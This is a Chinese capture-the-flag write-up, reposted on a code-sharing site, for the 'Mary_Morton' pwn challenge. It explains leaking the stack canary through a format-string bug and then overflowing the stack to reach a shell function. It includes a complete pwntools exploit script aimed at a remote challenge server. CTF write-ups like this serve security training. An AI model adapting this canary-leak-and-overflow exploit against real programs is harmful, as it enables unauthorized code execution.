码迷,mamicode.com
首页 > 其他好文 > 详细

[攻防世界]Mary_Morton

时间:2019-11-18 20:35:30      阅读:185      评论:0      收藏:0      [点我收藏+]

标签:col   port   mic   栈溢出   import   tle   att   recv   shel   

打开程序看,菜单已经说明的很清楚了

技术图片

1存在栈溢出,2存在format

不过checksec了发现

技术图片

存在栈保护,这里的format就可以泄露出标志位

经过尝试,%x只能输出8bit的数 这里使用%p

先试试水

技术图片

 

第6个参数就是我们的输入首地址了 然后往下找标志位

技术图片

计算出是第23个参数

验证一下

技术图片

 

是第23个参数没错了

提取出来就可以栈溢出了

溢出的时候控制标志位不改变即可

from pwn import *

# io=process(‘./mary‘)
io=remote(111.198.29.45,43483)

io.recvuntil(3. Exit the battle \n)
io.sendline(str(2))
sleep(0.5)
io.sendline(%23$p)
data=io.recvuntil(\n)
print "stack: "+data
stack=int(data[:-1],16)
print "stack: "+hex(stack)

shell_addr=0x4008DA
io.recvuntil(3. Exit the battle \n)
io.sendline(str(1))
sleep(0.5)
payload=a*(0x90-8)+p64(stack)+p64(shell_addr)*5
io.sendline(payload)

io.interactive()
#rdi, rsi, rdx, rcx, r8, r9
# %23$p

 

 

[攻防世界]Mary_Morton

标签:col   port   mic   栈溢出   import   tle   att   recv   shel   

原文地址:https://www.cnblogs.com/lxy8584099/p/11884609.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!